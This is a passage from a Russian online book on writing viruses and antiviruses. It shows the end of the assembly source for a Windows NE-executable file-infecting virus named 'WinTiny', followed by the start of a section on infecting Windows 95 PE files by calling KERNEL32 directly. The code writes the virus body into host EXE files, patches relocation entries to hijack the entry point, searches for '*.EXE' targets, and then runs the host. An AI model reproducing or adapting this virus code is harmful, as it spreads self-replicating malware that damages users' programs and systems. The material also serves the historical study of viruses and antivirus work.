Создаем вирус и антивирус. Игорь Гульев
Читать онлайн книгу.Если по какой−то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov cx,OFFSET vir_end
cld
rep movsb
push es
pop ds
;Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+relocIP],0
mov WORD PTR [si+relocCS],0FFFFh
;Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h
;Запишем тело вируса в файл
mov dx,OFFSET temp
mov cx,OFFSET vir_end
mov ah,40h
int 21h
;Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET relocIP
;Запишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov cx,10
mov ah,40h
int 21h
;Закроем файл
mov ah,3Eh
int 21h
;Освободим выделенный блок памяти
call free
;Запустим программу−носитель
jmp exit
;Процедура, освобождающая выделенный блок памяти
free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
int 31h
ret
free ENDP
;Маска для поиска файлов
wild_exe DB ”*.EXE”,0
;Имя вируса
DB ”WinTiny”
;Идентификатор, указывающий на конец инициализированных данных
vir_end:
;Индекс выделенного блока памяти
mem_hnd DW ?
DW ?
;Адрес текущей DTA
DTA DW ?
DW ?
;Место для хранения старого заголовка
old_hdr DB 40h dup (?)
;Место для хранения нового заголовка
new_hdr DB 40h dup (?)
;Длина логического номера сектора
log_sec_len DW ?
;Новый элемент в таблице сегментов
my_seg_entry DW ?
DW ?
DW ?
DW ?
;Перемещаемый элемент
reloc_data DW ?
DB ?
DB ?
DW ?
;Значение оригинальной точки входа
host_cs DW ?
host_ip DW ?
;Область памяти для использования
temp DB ?
END
Вирусы под Windows 95
Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.
Вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов